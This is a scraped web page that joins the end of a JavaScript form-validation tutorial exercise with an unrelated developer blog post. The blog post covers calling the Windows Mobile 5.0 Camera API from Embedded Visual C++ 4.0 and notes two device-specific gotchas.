validationOur example script works by validating all the form fields at once. This can be a bit confusing for the user, especially if they've missed out more than one field, as they will get lots of alert boxes appearing and they might forget which fields they need to fill in!As an exercise, try modifying the script to only prompt the user one field at a time. For example, if they miss out the "Name" and "Gender" fields and press "Send Details", it will only prompt them for the "Name" field initially. Then, after they fill in the "Name" field and press "Send Details" again, it will prompt them for the "Gender" field.As a finishing touch, try making the script move the cursor to the field that needs filling in each time (Hint: use the focus() method to do this).Good luck!

Using Camera API with only Embedded Visual C++ 4.0 (evc4): Sample code and EVC4 workspace download

Using Camera API with only Embedded Visual C++ 4.0 (evc4): Sample code and EVC4 workspace downloadIn my previous post, I talked about how to use the new Camera API in Windows Mobile 5.0 SDK with only Embedded Visual C++ 4.0 (evc4).You can download the EVC4 workspace here. The source code is written based on the MSDN documentation on SHCameraCapture, which states: Application writers should be aware that SHCameraCapture function can cause the calling application to stop responding in cases where the calling application is minimized and then reactivated while the call to SHCameraCapture function is still blocking.The sample code is written by copying the snippets in that MSDN documentation, although I do not really find such "stop responding" mischief using the "possible sequence of events". The program shows "Capture" and "Exit" in the bottom menu bar. Clicking the left soft key launches the camera capture dialog. After clicking the Action key, the program captures videos for 15 seconds then ask for a place to save the video file.Two gotchas: The MSDN documentation says the window class of camera capture dialog is "Camera View". In my Sprint PPC6700 device, the class name is actually "WCE_IA_Camera_Main" (read the source code for a comment). The camera capture dialog still shows even after the program is closed. The function "CloseCameraDialog" is used to close it before the program shuts down (read the source code for details) BTW, the tool to find out the window class is Remote CE Spy. The default Remote CE Spy shipped with VS2005 does not work well with Windows Mobile 5.0 device. Read "Remote CE Spy shipped with Visual Studio 2005 fails to intercept windows messages" for a possible solution.

Twitter Delicious Facebook Digg Stumbleupon Favorites More